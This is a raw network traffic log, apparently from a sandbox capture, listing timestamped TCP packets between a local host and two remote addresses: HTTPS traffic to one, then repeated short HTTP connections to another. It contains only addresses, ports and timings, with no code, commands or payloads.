Oct 24, 2024 08:46:06.362674952 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.443821907 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.443902016 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.443907976 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.443948030 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.443978071 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.444385052 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.444446087 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.444448948 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.444469929 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.444505930 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.444734097 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.444798946 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.444803953 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.444828033 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.444865942 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.455416918 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.455441952 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.455488920 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.455504894 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.455517054 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.456121922 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.456150055 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.456185102 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.456191063 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.456212044 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.456825018 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.456849098 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.456904888 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.456912994 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.456923962 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.457298040 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.457323074 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.457356930 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.457361937 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.457391977 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.467413902 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.467479944 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.467500925 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.467513084 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.467544079 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.475148916 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.475223064 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.475230932 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.475253105 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.475292921 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.475529909 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.475594997 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.475603104 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.475621939 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.475668907 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.559187889 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.559225082 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.559259892 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.559273005 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.559302092 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.559319973 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.559341908 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.559379101 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.559385061 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.559425116 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.559577942 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.559607029 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.559638977 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.559644938 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.559667110 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.559876919 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.559900999 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.559935093 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.559941053 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.559964895 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.571238041 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.571278095 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.571358919 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.571369886 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.571413040 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.571544886 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.571567059 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.571604967 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.571611881 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.571631908 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.571909904 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.571937084 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.571970940 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.571978092 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.572002888 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.582760096 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.582792044 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.582834005 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.582839966 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.582858086 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.582918882 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.583017111 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.583039045 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.583117008 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.583125114 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.583138943 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.584341049 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.590802908 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.590828896 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.590898037 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.590918064 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.590934992 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.625418901 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.625464916 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.625514030 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.625536919 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.625550032 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.629064083 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.675031900 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.675065041 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.675170898 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.675193071 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.675230026 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.675287008 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.675324917 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.675338030 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.675353050 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.675375938 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.675438881 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.675462008 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.675499916 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.675507069 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.675527096 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.675858974 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.675884008 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.675915003 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.675920963 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.675937891 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.687036037 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.687083006 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.687113047 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.687134981 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.687150002 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.687446117 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.687473059 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.687504053 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.687510967 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.687530994 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.687758923 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.687793970 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.687807083 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.687813044 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.687849998 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.698482990 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.698508024 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.698559046 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.698575020 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.698590040 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.698729992 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.698756933 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.698784113 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.698793888 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.698813915 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.706547022 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.706569910 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.706623077 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.706640005 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.706651926 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.709660053 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.709686995 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.709722042 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.709733009 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.709745884 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.749947071 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.790918112 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.790993929 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.791012049 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.791033030 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.791057110 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.791222095 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.791290045 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.791296005 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.791353941 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.791390896 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.791635036 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.791701078 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.791703939 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.791728020 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.791770935 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.792000055 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.792071104 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.792078972 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.792094946 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.792134047 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.796212912 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.802750111 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.802819967 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.802839041 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.802853107 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.802881956 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.803214073 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.803273916 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.803287029 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.803338051 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.803350925 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.803528070 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.803592920 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.803596020 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.803616047 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.803653002 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.803968906 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.804033995 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.804043055 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.804090023 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.804115057 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.804141998 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.804688931 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.804811001 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.814433098 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.814506054 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.814515114 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.814528942 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.814568043 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.814848900 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.814920902 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.814923048 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.814949989 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.814987898 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.822566032 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.822638035 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.822645903 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.822669029 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.822704077 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.834561110 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.857112885 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.857206106 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.857225895 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.857244015 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.857275963 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.867347956 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.906819105 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.906903982 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.906925917 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.907002926 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.907043934 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.907186031 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.907243967 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.907263041 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.907290936 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.907336950 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.907496929 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.907561064 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.907562971 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.907588959 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.907623053 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.907910109 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.907972097 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.907980919 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.908005953 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.908051968 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.918317080 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.918397903 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:06.918397903 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:06.918438911 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:07.005238056 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:07.006620884 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:07.488563061 CEST	49178	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:07.494013071 CEST	80	49178	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:07.494121075 CEST	49178	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:07.495675087 CEST	49178	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:07.500950098 CEST	80	49178	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:07.501003027 CEST	49178	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:07.506361008 CEST	80	49178	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:08.436815977 CEST	80	49178	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:08.436933994 CEST	49178	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:08.442625046 CEST	80	49178	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:08.442682981 CEST	49178	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:08.590770960 CEST	49179	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:08.596358061 CEST	80	49179	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:08.596426964 CEST	49179	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:08.597771883 CEST	49179	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:08.603072882 CEST	80	49179	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:08.603128910 CEST	49179	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:08.608555079 CEST	80	49179	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:09.532896042 CEST	80	49179	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:09.533912897 CEST	49179	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:09.539879084 CEST	80	49179	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:09.540121078 CEST	49179	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:09.641467094 CEST	49180	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:09.646986961 CEST	80	49180	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:09.647149086 CEST	49180	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:09.648638010 CEST	49180	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:09.653888941 CEST	80	49180	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:09.653986931 CEST	49180	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:09.659276962 CEST	80	49180	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:10.615833044 CEST	80	49180	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:10.615957022 CEST	49180	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:10.621545076 CEST	80	49180	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:10.621598959 CEST	49180	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:10.781456947 CEST	49181	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:10.786895037 CEST	80	49181	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:10.786942959 CEST	49181	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:10.788578987 CEST	49181	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:10.793874979 CEST	80	49181	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:10.793925047 CEST	49181	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:10.799170017 CEST	80	49181	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:11.760720015 CEST	80	49181	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:11.760826111 CEST	49181	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:11.766707897 CEST	80	49181	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:11.767388105 CEST	49181	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:11.949719906 CEST	49182	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:11.955099106 CEST	80	49182	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:11.955157042 CEST	49182	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:11.956769943 CEST	49182	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:11.961992025 CEST	80	49182	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:11.962080002 CEST	49182	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:11.967320919 CEST	80	49182	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:12.938143969 CEST	80	49182	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:13.013300896 CEST	49182	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:13.019151926 CEST	80	49182	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:13.019201994 CEST	49182	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:13.250680923 CEST	49183	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:13.256068945 CEST	80	49183	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:13.256505966 CEST	49183	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:13.258053064 CEST	49183	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:13.263335943 CEST	80	49183	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:13.263396025 CEST	49183	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:13.268737078 CEST	80	49183	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:14.212583065 CEST	80	49183	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:14.275753021 CEST	49183	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:14.281508923 CEST	80	49183	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:14.281568050 CEST	49183	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:14.517550945 CEST	49184	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:14.522968054 CEST	80	49184	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:14.523142099 CEST	49184	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:14.524611950 CEST	49184	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:14.529908895 CEST	80	49184	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:14.530065060 CEST	49184	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:14.535459042 CEST	80	49184	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:15.608517885 CEST	80	49184	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:15.610265017 CEST	49184	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:15.615823030 CEST	80	49184	94.156.177.220	192.168.2.22
